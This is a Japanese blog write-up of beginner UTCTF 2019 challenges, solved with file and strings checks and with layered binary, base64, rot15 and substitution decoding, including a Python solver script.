satto1237’s diary

ラーメンとセキュリティが好きなのでそれ関係のことについて書きます

UTCTF2019 Write-up (供養)

はじめに

2019/03/09 ~ 2019/03/11 に開催されたUTCTFに個人で少しだけ参加しました.
時間があまりとれなかったのでwarm-upとCrypto問中心に取り組みました.

成績

4問解いて187位 (1問以上解いた581チーム中) でした.

[basics] forensics (Forensics, 100 pts, 437 solves)

My friend said they hid a flag in this picture, but it's broken!
[sectret.jpg]

アプローチ:fileコマンド

とりあえずopenしようとします.

> open secret.jpg

f:id:satto1237:20190311124618p:plain

openできなかったのでfileでフォーマットを確認します.

> file secret.jpg
secret.jpg: ASCII text

そもそも.jpgではなかったようです.

stringsで中身を確認します.

> strings secret.jpg
utflag{d0nt_tru5t_f1l3_3xt3ns10n5}

utflag{d0nt_tru5t_f1l3_3xt3ns10n5}

[basics] re (Reverse Engineering, 100 pts, 462 solves)

I know there's a string in this binary somewhere.... Now where did I leave it?
[calculator]

アプローチ:strings

一応

> file calculator
calculator: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=12d2c94aa02e2ebaca1b262031791914ebae7936, not stripped

問題文の通りにやります.

> strings calculator | grep utflag
utflag{str1ng5_15_4_h4ndy_t00l}

utflag{str1ng5_15_4_h4ndy_t00l}

[basics] crypto (Cryptography, 200 pts, 426 solves)

Can you make sense of this file?
binary.txt

アプローチ:base64 + rot15 + 換字式暗号

添付されていたbinary.txtは以下のようになっています.

01010101 01101000 00101101 01101111 01101000 00101100 00100000 01101100 01101111 01101111 01101011 01110011 00100000 01101100 01101001 01101011 01100101 00100000 01110111 01100101 00100000 01101000 01100001 01110110 01100101 00100000 01100001 01101110 01101111 01110100 01101000 01100101 01110010 00100000 01100010 01101100 01101111 01100011 01101011 00100000 01101111 01100110 00100000 01110100 01100101 01111000 01110100 00101100 00100000 01110111 01101001 01110100 01101000 00100000 01110011 01101111 01101101 01100101 00100000 01110011 01101111 01110010 01110100 00100000 01101111 01100110 00100000 01110011 01110000 01100101 01100011 01101001 01100001 01101100 00100000 01100101 01101110 01100011 01101111 01100100 01101001 01101110 01100111 00101110 00100000 01000011 01100001 01101110 00100000 01111001 01101111 01110101 00100000 01100110 01101001 01100111 01110101 01110010 01100101 00100000 01101111 01110101 01110100 00100000 01110111 01101000 01100001 01110100 00100000 01110100 01101000 01101001 01110011 00100000 01100101 01101110 01100011 01101111 01100100 01101001 01101110 01100111 00100000 01101001 01110011 00111111 00100000 00101000 01101000 01101001 01101110 01110100 00111010 00100000 01101001 01100110 00100000 01111001 01101111 01110101 00100000 01101100 01101111 01101111 01101011 00100000 01100011 01100001 01110010 01100101 01100110 01110101 01101100 01101100 01111001 00101100 00100000 01111001 01101111 01110101 00100111 01101100 01101100 00100000 01101110 01101111 01110100 01101001 01100011 01100101 00100000 01110100 01101000 01100001 01110100 00100000 01110100 01101000 01100101 01110010 01100101 00100000 01101111 01101110 01101100 01111001 00100000 01100011 01101000 01100001 01110010 01100001 01100011 01110100 01100101 01110010 01110011 00100000 01110000 01110010 01100101 01110011 01100101 01101110 01110100 00100000 01100001 01110010 01100101 00100000 01000001 00101101 01011010 00101100 00100000 01100001 00101101 01111010 00101100 00100000 00110000 00101101 00111001 00101100 00100000 01100001 01101110 01100100 00100000 01110011 01101111 01101101 01100101 01110100 01101001 01101101 01100101 01110011 00100000 00101111 00100000 01100001 01101110 01100100 00100000 00101011 00101110 00100000 01010011 01100101 01100101 00100000 01101001 01100110 00100000 01111001 01101111 01110101 00100000 01100011 01100001 01101110 00100000 01100110 01101001 01101110 01100100 00100000 01100001 01101110 00100000 01100101 01101110 01100011 01101111 01100100 01101001 01101110 01100111 00100000 01110100 01101000 01100001 01110100 00100000 01101100 01101111 01101111 01101011 01110011 00100000 01101100 01101001 01101011 01100101 00100000 01110100 01101000 01101001 01110011 00100000 01101111 01101110 01100101 00101110 00101001 00001010 01010100 01101101 01010110 00110011 01001001 01000111 01001110 01101111 01011001 01010111 01111000 01110011 01011010 01010111 00110101 01101110 01011010 01010011 01000101 01100111 01010001 00110010 01000110 01110101 01001001 01001000 01101100 01110110 01100100 01010011 01000010 01101101 01100001 01010111 01100100 00110001 01100011 01101101 01010101 01100111 01100010 00110011 01010110 00110000 01001001 01001000 01100100 01101111 01011001 01011000 01010001 01101110 01100011 01111001 01000010 01101110 01100010 00110010 01101100 01110101 01011010 01111001 01000010 01110110 01100010 01101001 01000010 01101111 01011010 01011000 01001010 01101100 01010000 01111001 01000010 01001010 01100100 01000011 01000010 01110011 01100010 00110010 00111001 01110010 01100011 01111001 01000010 01110011 01100001 01010111 01110100 01101100 01001001 01001000 01010010 01101111 01011010 01010011 01000010 01110011 01011010 01011000 01010010 00110000 01011010 01011000 01001010 01111010 01001001 01000111 01000110 01111001 01011010 01010011 01000010 01111010 01100001 01000111 01101100 01101101 01100100 01000111 01010110 01101011 01001001 01000111 01001010 00110101 01001001 01001000 01001110 01110110 01100010 01010111 01010101 01100111 01011001 00110010 00111001 01110101 01100011 00110011 01010010 01101000 01100010 01101110 01010001 01110101 01001001 01000011 01101000 01101111 01100001 01010111 00110101 00110000 01001111 01101001 01000010 00110101 01100010 00110011 01010101 01100111 01100010 01010111 01101100 01101110 01100001 01001000 01010001 01100111 01100100 00110010 01000110 01110101 01100100 01000011 01000010 00110000 01100010 01111001 01000010 01111010 01100100 01000111 01000110 01111001 01100100 01000011 01000010 01110011 01100010 00110010 00111001 01110010 01100001 01010111 00110101 01101110 01001001 01001000 01010110 01110111 01001001 01000110 01001010 01110110 01100010 01010111 01000110 01110101 01001001 01001000 01000010 01101100 01100010 00110011 01000010 01110011 01011010 01010011 01101011 01110101 01000011 01101101 01110100 00110010 01011001 01101110 01001110 01111000 01100011 01101101 01010001 01110011 01001001 01000111 01101100 00110101 01011010 01010011 01100100 01101001 01100010 01111001 01000010 01110010 01100100 01101110 01100100 00110101 01011001 00110010 01010001 01100111 01011010 01001000 01001010 01110110 01011001 01101101 00111000 01101000 01001001 01000110 01101000 00110101 01011010 01111001 01000010 01110111 01100101 01010111 01001001 01100111 01011010 01001000 01001010 01110110 01001001 01001000 01000010 01111010 01100101 01000111 01110100 00110010 01001001 01000011 01101000 01110010 01100101 01000111 00110100 01100111 01100100 00110010 01110100 01110000 01100010 01000111 00111000 01100111 01011010 01001000 01001010 01110110 01001001 01001000 01001010 01110010 01011001 01101101 00110101 01110110 01011001 00110010 01010001 01110101 01001100 01101001 00110100 01110000 01001001 01001000 01110000 01110010 01011001 01101101 01010001 00110110 01001001 01000111 01110011 01100111 01011001 00110010 01010110 01110011 01011001 00110010 01010010 01111010 01011010 01000111 01010110 01101011 01100011 00110011 01101100 00110100 01001001 01000111 00110001 01111010 01100101 01101110 01001010 01110110 01011001 01101001 00110100 01100111 01010101 00110011 01100111 01100111 01011010 01001000 01001010 01110110 01001001 01001000 01000010 00110101 01100100 01101110 01011010 00110101 01011010 00110011 01001110 00110100 01100011 01010011 01000010 01101011 01100010 00110010 01101000 01101011 01001100 01000011 01000010 01010100 01001010 00110010 01011010 01110110 01001001 01000111 01010010 01110010 01100100 01010111 00111001 00110100 01001001 01001000 01100100 01110000 01001001 01001000 01100100 01110110 01011001 00110010 01001110 01110010 01100011 01010111 00111000 01100111 01100001 00110011 01101000 01110101 01001001 01000111 01001010 01110110 01100101 01101110 01011010 01110010 01100010 01010111 00111001 01110101 01001001 01000111 00111001 01101101 01100010 00110010 01001010 01110000 01001001 01000111 01110100 00110010 01100101 01101110 01001010 01110010 01100010 01000111 00111001 01101011 01100011 00110010 00110000 01100111 01100010 01011000 01001010 01110010 01011001 01101101 01110100 01110100 01011010 01000111 00111001 01101001 01001001 01000111 01100100 01111010 01011010 01001000 01001001 01100111 01100001 01111001 01000010 01110100 01100101 01010111 01001010 01101001 01100010 00110010 01001110 00110110 01100101 01011000 01101000 01110101 01100010 00110011 01101000 01110100 01100010 01111001 01000010 01101011 01100101 01010011 01000010 01110010 01001001 01000111 00110101 01111010 01100011 01001000 01000010 01110110 01011001 01101101 00111001 00110100 01011010 01000011 01000010 01110100 01100011 01101101 01110100 01101001 01100001 00110010 00110001 01101011 01100010 00110010 01001001 01100111 01001100 01010011 01000010 00110001 01100101 01001000 01101100 01101110 01100101 01000011 01000010 01110010 01011001 01111001 01000010 01110010 01001001 01000111 01001110 01101100 01100010 01000111 01001110 01101011 01100011 00110010 01010010 01101100 01011010 01001000 01001110 00110101 01100101 01000011 01000010 01110100 01100011 00110011 01110000 01111001 01100010 00110010 01001001 01110101 01001001 01000101 00110001 01110010 01100101 01000011 01000010 01110000 01100101 01010111 01010101 01100111 01100011 01001000 01001110 00110100 01100010 01101001 01000010 01101011 01100011 01101101 00111000 01100111 01100011 01001000 01001110 00110100 01100001 00110011 01011001 01100111 01100011 01001000 01011010 01110010 01100011 01010100 00111000 01100111 01100011 01101110 01001110 00110100 01011010 01000100 01101111 01100111 01010010 00110010 00111000 01100111 01100100 01011000 01101000 00110101 01011010 01111001 01000010 01101011 01100011 01101101 01110100 01101011 01001001 01000111 01010010 01111001 01100010 01111001 01000010 01110111 01100100 01101101 01110100 01111000 01001001 01001000 01001110 01101010 01001001 01001000 01000110 00110101 01100011 00110011 01101000 01111000 01001001 01000111 01010010 00110101 01001001 01000111 01111000 01110110 01001001 01001000 01101100 01110111 01001001 01000111 01010010 01111001 01100010 01111001 01000010 01110111 01100101 01010111 01001010 00110011 01100001 00110010 01010001 01100111 01011010 01010111 01010010 01110111 01100100 01101101 01110100 01111000 01100101 01111001 00110100 01110101 01001100 01101110 00110000 01100111 01001100 01010011 01000010 01101110 01100011 01101110 01001110 01110100 01100011 01101001 01000010 00110011 01100010 00110010 01110100 00110100 01011001 01111001 01000010 01101011 01100011 01101101 01110100 01101011 01001001 01001000 01001110 01110111 01001001 01000111 01101100 00110101 01011010 01010011 01000010 01101010 01100010 00110010 00111000 01100111 01011010 01001000 01001010 01110010 01011010 01000011 01000010 00110110 01100001 00110010 01010010 01101011 01100010 00110010 01001010 00110100 01001100 01000011 01000010 01110000 01100101 01010111 01010101 01100111 01100100 01011000 01101000 00110101 01011010 01111001 01000010 01101110 01100011 01101101 01110100 01101011 01001001 01000111 01010010 01111001 01100010 01111001 01000010 01110100 01100101 01010111 01001010 01101001 01100010 00110010 01001110 00110110 01100101 01011000 01101000 01110101 01100010 00110011 01101000 01110100 01100010 00110010 01001101 01100111 01100011 01001000 01101100 01101001 01001001 01000111 01010101 01110011 01001001 01000111 01010001 01110011 01001001 01001000 01000001 01110011 01001001 01001000 01011001 01100111 01100001 01111001 01110111 01100111 01100001 00110011 01101000 01110101 01001001 01001000 01000101 01100111 01100001 00110010 01001010 01110110 01001100 01101001 01000010 01001010 01100101 01010111 01010101 01100111 01100010 01010111 01110100 00110100 01001001 01001000 01110000 01101001 01100101 01010111 01111000 01110010 01100010 01001000 01011010 01110000 01001001 01000111 01100100 00110101 01011001 01101110 01010101 01100111 01100101 01010111 01010110 01101011 01001001 01000111 01010010 01111001 01100010 01111001 01000010 01101001 01100010 00110011 01100100 01110010 01100011 00110011 01101000 01111010 01100101 01001000 01000101 01100111 01100010 01011000 01001010 01110010 01011001 01101101 01110100 01110100 01011010 01000111 00111001 01101001 01011001 01111001 01000010 01110011 01100001 01010011 01000010 01101001 01100010 00110011 01110000 00110010 01100001 00110010 00110001 01111010 01100101 01001000 01000101 01100111 01011010 01001000 01001010 01110110 01100100 01111001 01000010 01110010 01100101 01000111 00110100 01100111 01100011 00110011 01101000 01110111 01100010 00110010 01001010 01101001 01100011 00110011 01101000 01111000 01001001 01000111 00110001 00110101 01100100 00110011 01100100 00110101 01100101 01000011 01000010 01101110 01100101 01010111 01001010 01110101 01011001 01111001 01000010 01111010 01100101 01000011 01000010 01101011 01100011 01101101 00111000 01100111 01010100 00110011 01101000 01111000 01100100 01101110 01001110 01101010 01100011 01101001 01000010 00110010 01100001 00110011 01101000 01111000 01011010 01010111 01110100 01111000 01100010 01111001 00110100 01100111 01010011 00110011 01101000 00110101 01011010 01001000 01001010 01110110 01011001 01101001 01000010 01111000 01011001 01101101 00111001 01110010 01011010 01000011 01000010 00110011 01100010 00110010 01010010 01111001 01100101 01010111 00110100 01100111 01100011 00110010 01001101 01100111 01011010 01001000 01101011 01100111 01011010 01010111 01001110 01110110 01001001 01001000 01000010 01101001 01100010 00110010 01000110 01101100 01100010 00110011 01101000 01110100 01100001 01010011 01000010 01110010 01100101 01000111 01110100 00110010 01100001 01010111 01001110 01111010 01011001 01111010 01101111 01100111 01011010 00110010 00111000 01100111 01100100 01011000 01101000 00110101 01011010 01111001 01000010 01101011 01100011 01101101 01110100 01101011 01001001 01000011 01100100 01110110 01001010 01111001 01000010 01101010 01100011 01101110 01101100 01101110 01011001 01111001 01000010 01101100 01100101 01101001 01000010 00110011 01100101 01010111 01001110 01101011 01001001 01001000 01101100 01110111 01011010 01000111 00111001 00110100 01001001 01001000 01001110 00110100 01001001 01000111 01010010 01111001 01100010 01111001 01000010 01110010 01100100 01101110 01110000 01111001 01100001 00110010 01111000 01110110 01011010 01000011 01110111 01100111 01011001 00110011 01101011 01100111 01011010 01001000 01001010 01110010 01011010 01000011 01100100 01101010 01001001 01001000 01110000 01101001 01100101 01010111 01111000 01110010 01100010 01001000 01011010 01110000 01001001 01000111 01010010 01111001 01100010 01111001 01000010 00110011 01100101 01010111 01001110 01101011 01001001 01000111 00110001 00110101 01100100 00110011 01100100 00110101 01100101 01000011 01000010 01110100 01100011 01101101 01110100 01101001 01100001 00110010 00110001 01101011 01100010 00110010 01001001 01100111 01100011 00110011 01100111 01100111 01011010 01001000 01001010 01110110 01001001 01000111 01010010 01110110 01100001 01000111 01010001 01110011 01001001 01001000 01000010 00110101 01100100 01101110 01011010 00110101 01011010 00110010 00111001 01110101 01001001 01000111 01111000 01110000 01001001 01000011 01100100 01101011 01001010 01111001 01110111 01100111 01100001 00110011 01101000 01110101 01001001 01000111 01001110 00110101 01001001 01001000 01101100 00110100 01001100 01101001 01000010 01011010 01100101 01000111 00110001 01110110 01001001 01000111 01101100 00110101 01011010 01010011 01000010 00110001 01100101 01001000 01101100 01101110 01001001 01000111 01110011 01100111 01100011 01000111 00111001 01101110 01001001 01000111 00110001 01111001 01100001 00110010 01001010 01110010 01100010 01010111 01010010 01110110 01011001 01101101 01001101 01110011 01001001 01000111 01101100 00110101 01011010 01010011 01000010 01110100 01100001 00110011 01100111 01100111 01100011 00110011 01101000 01110111 01100010 00110010 01001001 01100111 01011010 01001000 01001010 01110110 01001001 01000111 01001010 01110110 01011001 00110010 01010001 01100111 01100101 01011000 01000001 01100111 01011010 01001000 01001010 01110110 01001001 01000111 01100100 00110101 01011001 01101101 00110101 01101010 01001001 01000111 01111000 01110010 01011001 00110010 00111001 01110101 01001001 01001000 01101100 00110100 01001001 01000111 00110001 00110101 01100100 00110011 01100100 00110101 01100101 01000011 01000010 01101110 01100101 01010111 01001010 01110101 01011001 01111001 01000010 01101011 01100011 01101101 01110100 01101011 01001001 01000111 01001110 01111001 01100101 01010111 01100011 01100111 01011010 01011000 01101111 01100111 01100011 00110011 01100111 01100111 01011010 01001000 01001010 01110110 01001001 01000101 00111001 00110100 01100011 01011000 01011010 01111010 01011001 00110011 01001001 01100111 01100100 01101101 01110100 00110100 01100011 01010111 01010110 01110010 01100011 01010111 00111000 01110101 01000011 01101110 01001010 01101110 01100001 01000111 00110101 00110100 01100011 00110010 01010010 01101101 01100101 01011000 01001110 01101011 01100100 01000111 01100100 01101111 01100100 01010011 01000101 01100111 01100011 01010111 01100100 01101101 01001001 01000111 01101100 01111010 01011001 01010111 01110011 01100111 01011001 00110011 01010010 01101111 01100100 01001000 01010110 01110000 01100001 00110010 01010101 01100111 01011010 01000111 01101100 01110010 01001001 01001000 01110000 01110010 01100010 01101110 01010010 01101111 01100001 01000111 01110100 00110100 01001001 01001000 01001010 00110100 01100011 01010111 01111000 01101011 01011010 00110010 00110101 00110100 01100011 00110010 01111000 01110000 01100011 01010011 01000010 01111001 01100001 01011000 01001110 00110101 01100101 01010111 01110100 01101111 01100010 01101101 01110011 01110101 01001001 01000111 01101100 01110010 01100101 01000111 01110011 01100111 01100100 01001000 01010101 01100111 01100011 01111001 01000010 01101010 01100101 01011000 01001110 01110101 01001001 01000111 01001110 01101110 01100101 01000011 01000010 01111010 01100101 01011000 01101011 01100111 01100011 01010111 01100100 01101101 01100101 01000011 01000010 01110000 01100011 00110011 01101000 01101100 01001001 01000111 01110100 01101010 01011001 00110010 01100100 00110100 01011010 01001000 01010101 00110110 01001001 01000111 01011010 01101011 01011001 00110011 01101100 01111010 01100010 01101110 01110011 01111010 01100001 01001000 01001010 00110100 01100011 01010111 01111000 01101011 01001101 01010100 01000010 01101111 01011000 01111010 01000101 00110001 01011000 00110011 01001001 01110111 01001101 01001000 01101100 00111001 01001100 01101001 01000010 01111000 01011010 00110010 01011001 01100111 01100100 01101110 01010010 00110101 01100101 01010011 01000010 01101010 01100100 01000111 01101000 01101100 01001001 01000111 01010010 01110000 01100011 00110010 01010001 01100111 01100011 01111001 01000010 00110101 01011010 00110010 01010001 01100111 01011010 00110010 01001101 01100111 01100011 01101110 01101000 01111000 01100010 01000111 01010010 01101110 01100010 01101110 01101000 01111010 01100010 01000111 01101100 01111000 01001001 01001000 01010010 00110001 01001001 01001000 01000010 01101101 01100100 01010111 01010001 01100111 01100101 01101101 01011010 00110000 01100101 01010111 01010110 00110000 01100001 01000111 00110100 01100111 01011010 00110010 01001110 01101010 01001001 01000111 01010010 01110000 01100100 01001000 01010101 01100111 01100100 01010111 01100100 00110100 01011010 01000011 01000010 01101110 01011001 01111001 01000010 00110110 01100011 00110011 01010110 00110000 01100011 01101001 01000010 01101001 01100001 01000111 01100100 00110010 01100101 01010111 01110100 01101100 01100010 01101101 01110011 01110011 01001001 01001000 01001110 01101111 01011010 01010011 01000010 00110000 01011010 01000011 01000010 00110100 01100001 00110011 01001110 00110101 01100101 01011000 01000101 01100111 01100100 01001000 01010101 01100111 01100001 01000111 01100100 01101011 01001001 01001000 01010110 01101110 01001001 01001000 01110000 01111010 01011010 01010011 01000010 01111010 01011001 00110010 01010010 01110010 01100101 01000011 01000010 01111010 01100101 01011000 01101011 01110101 01001001 01000111 01101100 01101110 01100010 01000111 01110011 01100111 01100011 01010111 01100100 01101101 01001001 01000111 01110100 01101111 01100011 01000111 01100100 01111000 01100001 00110010 01010101 01100111 01011010 01000111 01101100 01110010 01001001 01001000 01001010 01110000 01100011 00110011 01101100 00110101 01100001 00110010 01101000 01110101 01100001 01111001 01000101 00111101

どう見てもASCIIなので変換スクリプトを書いてあげると以下のようになります.

Uh-oh, looks like we have another block of text, with some sort of special encoding. Can you figure out what this encoding is? (hint: if you look carefully, you'll notice that there only characters present are A-Z, a-z, 0-9, and sometimes / and +. See if you can find an encoding that looks like this one.)
TmV3IGNoYWxsZW5nZSEgQ2FuIHlvdSBmaWd1cmUgb3V0IHdoYXQncyBnb2luZyBvbiBoZXJlPyBJdCBsb29rcyBsaWtlIHRoZSBsZXR0ZXJzIGFyZSBzaGlmdGVkIGJ5IHNvbWUgY29uc3RhbnQuIChoaW50OiB5b3UgbWlnaHQgd2FudCB0byBzdGFydCBsb29raW5nIHVwIFJvbWFuIHBlb3BsZSkuCmt2YnNxcmQsIGl5ZSdibyBrdnd5Y2QgZHJvYm8hIFh5ZyBweWIgZHJvIHBzeGt2IChreG4gd2tpbG8gZHJvIHJrYm5vY2QuLi4pIHprYmQ6IGsgY2VsY2RzZGVkc3l4IG1zenJvYi4gU3ggZHJvIHB5dnZ5Z3N4cSBkb2hkLCBTJ2ZvIGRrdW94IHdpIHdvY2NrcW8ga3huIGJvenZrbW9uIG9mb2JpIGt2enJrbG9kc20gbXJrYmttZG9iIGdzZHIgayBteWJib2N6eXhub3htbyBkeSBrIG5zcHBvYm94ZCBtcmtia21kb2IgLSB1eHlneCBrYyBrIGNlbGNkc2RlZHN5eCBtc3pyb2IuIE1reCBpeWUgcHN4biBkcm8gcHN4a3YgcHZrcT8gcnN4ZDogR28gdXh5ZyBkcmtkIGRybyBwdmtxIHNjIHF5c3hxIGR5IGxvIHlwIGRybyBweWJ3a2QgZWRwdmtxey4uLn0gLSBncnNtciB3b2t4YyBkcmtkIHNwIGl5ZSBjb28gZHJrZCB6a2Rkb2J4LCBpeWUgdXh5ZyBncmtkIGRybyBteWJib2N6eXhub3htb2MgcHliIGUsIGQsIHAsIHYgaywga3huIHEga2JvLiBJeWUgbWt4IHpieWxrbHZpIGd5YnUgeWVkIGRybyBib3drc3hzeHEgbXJrYmttZG9iYyBsaSBib3p2a21zeHEgZHJvdyBreG4gc3hwb2Jic3hxIG15d3d5eCBneWJuYyBzeCBkcm8gT3hxdnNjciB2a3hxZWtxby4gS3h5ZHJvYiBxYm9rZCB3b2RyeW4gc2MgZHkgZWNvIHBib2Flb3htaSBreGt2aWNzYzogZ28gdXh5ZyBkcmtkICdvJyBjcnlnYyBleiB3eWNkIHlwZG94IHN4IGRybyBrdnpya2xvZCwgY3kgZHJrZCdjIHpieWxrbHZpIGRybyB3eWNkIG15d3d5eCBtcmtia21kb2Igc3ggZHJvIGRvaGQsIHB5dnZ5Z29uIGxpICdkJywga3huIGN5IHl4LiBZeG1vIGl5ZSB1eHlnIGsgcG9nIG1ya2JrbWRvYmMsIGl5ZSBta3ggc3hwb2IgZHJvIGJvY2QgeXAgZHJvIGd5Ym5jIGxrY29uIHl4IG15d3d5eCBneWJuYyBkcmtkIGNyeWcgZXogc3ggZHJvIE94cXZzY3Igdmt4cWVrcW8uCnJnaG54c2RmeXNkdGdodSEgcWdmIGlzYWsgY3RodHVpa2UgZGlrIHprbnRoaGt4IHJ4cWxkZ254c2xpcSByaXN5eWtobmsuIGlreGsgdHUgcyBjeXNuIGNneCBzeXkgcWdmeCBpc3hlIGtjY2d4ZHU6IGZkY3lzbnszaHJ4cWxkMTBoXzE1X3IwMHl9LiBxZ2YgdnR5eSBjdGhlIGRpc2QgcyB5Z2QgZ2MgcnhxbGRnbnhzbGlxIHR1IHBmdWQgemZ0eWV0aG4gZ2NjIGRpdHUgdWd4ZCBnYyB6c3V0ciBiaGd2eWtlbmssIHNoZSB0ZCB4a3N5eXEgdHUgaGdkIHVnIHpzZSBzY2RreCBzeXkuIGlnbGsgcWdmIGtocGdxa2UgZGlrIHJpc3l5a2huayE=

どう見てもbase64なので変換スクリプトを書いてあげると以下のようになります.

New challenge! Can you figure out what's going on here? It looks like the letters are shifted by some constant. (hint: you might want to start looking up Roman people).
kvbsqrd, iye'bo kvwycd drobo! Xyg pyb dro psxkv (kxn wkilo dro rkbnocd...) zkbd: k celcdsdedsyx mszrob. Sx dro pyvvygsxq dohd, S'fo dkuox wi wocckqo kxn bozvkmon ofobi kvzrklodsm mrkbkmdob gsdr k mybboczyxnoxmo dy k nsppoboxd mrkbkmdob - uxygx kc k celcdsdedsyx mszrob. Mkx iye psxn dro psxkv pvkq? rsxd: Go uxyg drkd dro pvkq sc qysxq dy lo yp dro pybwkd edpvkq{...} - grsmr wokxc drkd sp iye coo drkd zkddobx, iye uxyg grkd dro mybboczyxnoxmoc pyb e, d, p, v k, kxn q kbo. Iye mkx zbylklvi gybu yed dro bowksxsxq mrkbkmdobc li bozvkmsxq drow kxn sxpobbsxq mywwyx gybnc sx dro Oxqvscr vkxqekqo. Kxydrob qbokd wodryn sc dy eco pboaeoxmi kxkvicsc: go uxyg drkd 'o' crygc ez wycd ypdox sx dro kvzrklod, cy drkd'c zbylklvi dro wycd mywwyx mrkbkmdob sx dro dohd, pyvvygon li 'd', kxn cy yx. Yxmo iye uxyg k pog mrkbkmdobc, iye mkx sxpob dro bocd yp dro gybnc lkcon yx mywwyx gybnc drkd cryg ez sx dro Oxqvscr vkxqekqo.
rghnxsdfysdtghu! qgf isak cthtuike dik zknthhkx rxqldgnxsliq risyykhnk. ikxk tu s cysn cgx syy qgfx isxe kccgxdu: fdcysn{3hrxqld10h_15_r00y}. qgf vtyy cthe disd s ygd gc rxqldgnxsliq tu pfud zftyethn gcc ditu ugxd gc zsutr bhgvykenk, she td xksyyq tu hgd ug zse scdkx syy. iglk qgf khpgqke dik risyykhnk!

rot系っぽいので総当たりします.

alright, you're almost there! Xow for the final (and maybe the hardest...) part: a substitution cipher. Sn the following text, S've taken my message and replaced every alphabetic character with a correspondence to a different character - known as a substitution cipher. Man you find the final flag? hint: Ge know that the flag is going to be of the format utflagq...s - which means that if you see that pattern, you know what the correspondences for u, t, f, l a, and g are. Iou can probably work out the remaining characters by replacing them and inferring common words in the Onglish language. Knother great method is to use frequency analysis: we know that 'e' shows up most often in the alphabet, so that's probably the most common character in the text, followed by 't', and so on. Ynce you know a few characters, you can infer the rest of the words based on common words that show up in the Onglish language.

hwxdnitvoitjwxk! gwv yiqa sjxjkyau tya padjxxan hngbtwdnibyg hyiooaxda. yana jk i soid swn ioo gwvn yinu asswntk: vtsoid{3xhngbt10x_15_h00o}. gwv ljoo sjxu tyit i owt ws hngbtwdnibyg jk fvkt pvjoujxd wss tyjk kwnt ws pikjh rxwloauda, ixu jt naioog jk xwt kw piu istan ioo. ywba gwv axfwgau tya hyiooaxda!

rot15でした.

どうやら次が最終パート(換字式暗号)みたいです.
問題文では文字の出現頻度を利用して換字を推定すると良いみたいなことが書かれていますが,手作業でやると少し時間がかかるのでquipqiupを使います.

quipqiup.com

congratulations! you have finished the beginner cryptography challenge. here is a flag for all your hard efforts: utflag{3ncrypt10n_15_c00l}. you will find that a lot of cryptography is just building off this sort of basic knowledge, and it really is not so bad after all. hope you enjoyed the challenge!

utflag{3ncrypt10n_15_c00l}

ソルバは以下のようになっています.

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import base64

def phase1():
    with open('./binary.txt') as f:
        b = f.read()

    b_list = b.strip().split(' ')
    b_text = []
    for x in b_list:
        b_text.append(chr(int(x,2)))

    return ''.join(b_text)

def phase2(p1_result):
    enc64_text = p1_result.split('\n')[1]
    dec64_text = base64.b64decode(enc64_text)

    return dec64_text.decode('utf-8')

def phase3(p2_result):
    enc_text = p2_result.split('\n')[1]
    dec_text = []
    for x in enc_text:
        if 97 <= ord (x) and ord(x) <= 127:
            dec_text.append(chr((ord(x) + 15 - 96) % 26 + 97))
        else:
            dec_text.append(x)

    print(''.join(dec_text))

    enc_text2 = p2_result.split('\n')[2]
    dec_text2 = []

    for x in enc_text2:
        if 97 <= ord (x) and ord(x) <= 122:
            dec_text2.append(chr((ord(x) + 15 - 96) % 26 + 97))
        else:
            dec_text2.append(x)

    return ''.join(dec_text2)

def phase4(p3_result):
    dec_dict = {'a':'e', 'b':'p', 'd':'g', 'f':'j', 'g':'y', 'h':'c', 'i':'a', 'j':'i',
                'k':'s', 'l':'w', 'n':'r', 'o':'l', 'p':'b', 'q':'v', 'r':'k', 's':'f',
                't':'t','u':'d', 'v':'u', 'w':'o', 'x':'n', 'y':'h'}

    flag = []

    for x in p3_result:
        dec_x = dec_dict.get(x)
        if dec_x is None:
            flag.append(x)
        else:
            flag.append(dec_x)

    return ''.join(flag)

if __name__ == '__main__':

    p1_result = phase1()
    print(p1_result)

    p2_result = phase2(p1_result)
    print(p2_result)

    p3_result = phase3(p2_result)

    flag = phase4(p3_result)

    print(flag)
> python solve.py
Uh-oh, looks like we have another block of text, with some sort of special encoding. Can you figure out what this encoding is? (hint: if you look carefully, you'll notice that there only characters present are A-Z, a-z, 0-9, and sometimes / and +. See if you can find an encoding that looks like this one.)
TmV3IGNoYWxsZW5nZSEgQ2FuIHlvdSBmaWd1cmUgb3V0IHdoYXQncyBnb2luZyBvbiBoZXJlPyBJdCBsb29rcyBsaWtlIHRoZSBsZXR0ZXJzIGFyZSBzaGlmdGVkIGJ5IHNvbWUgY29uc3RhbnQuIChoaW50OiB5b3UgbWlnaHQgd2FudCB0byBzdGFydCBsb29raW5nIHVwIFJvbWFuIHBlb3BsZSkuCmt2YnNxcmQsIGl5ZSdibyBrdnd5Y2QgZHJvYm8hIFh5ZyBweWIgZHJvIHBzeGt2IChreG4gd2tpbG8gZHJvIHJrYm5vY2QuLi4pIHprYmQ6IGsgY2VsY2RzZGVkc3l4IG1zenJvYi4gU3ggZHJvIHB5dnZ5Z3N4cSBkb2hkLCBTJ2ZvIGRrdW94IHdpIHdvY2NrcW8ga3huIGJvenZrbW9uIG9mb2JpIGt2enJrbG9kc20gbXJrYmttZG9iIGdzZHIgayBteWJib2N6eXhub3htbyBkeSBrIG5zcHBvYm94ZCBtcmtia21kb2IgLSB1eHlneCBrYyBrIGNlbGNkc2RlZHN5eCBtc3pyb2IuIE1reCBpeWUgcHN4biBkcm8gcHN4a3YgcHZrcT8gcnN4ZDogR28gdXh5ZyBkcmtkIGRybyBwdmtxIHNjIHF5c3hxIGR5IGxvIHlwIGRybyBweWJ3a2QgZWRwdmtxey4uLn0gLSBncnNtciB3b2t4YyBkcmtkIHNwIGl5ZSBjb28gZHJrZCB6a2Rkb2J4LCBpeWUgdXh5ZyBncmtkIGRybyBteWJib2N6eXhub3htb2MgcHliIGUsIGQsIHAsIHYgaywga3huIHEga2JvLiBJeWUgbWt4IHpieWxrbHZpIGd5YnUgeWVkIGRybyBib3drc3hzeHEgbXJrYmttZG9iYyBsaSBib3p2a21zeHEgZHJvdyBreG4gc3hwb2Jic3hxIG15d3d5eCBneWJuYyBzeCBkcm8gT3hxdnNjciB2a3hxZWtxby4gS3h5ZHJvYiBxYm9rZCB3b2RyeW4gc2MgZHkgZWNvIHBib2Flb3htaSBreGt2aWNzYzogZ28gdXh5ZyBkcmtkICdvJyBjcnlnYyBleiB3eWNkIHlwZG94IHN4IGR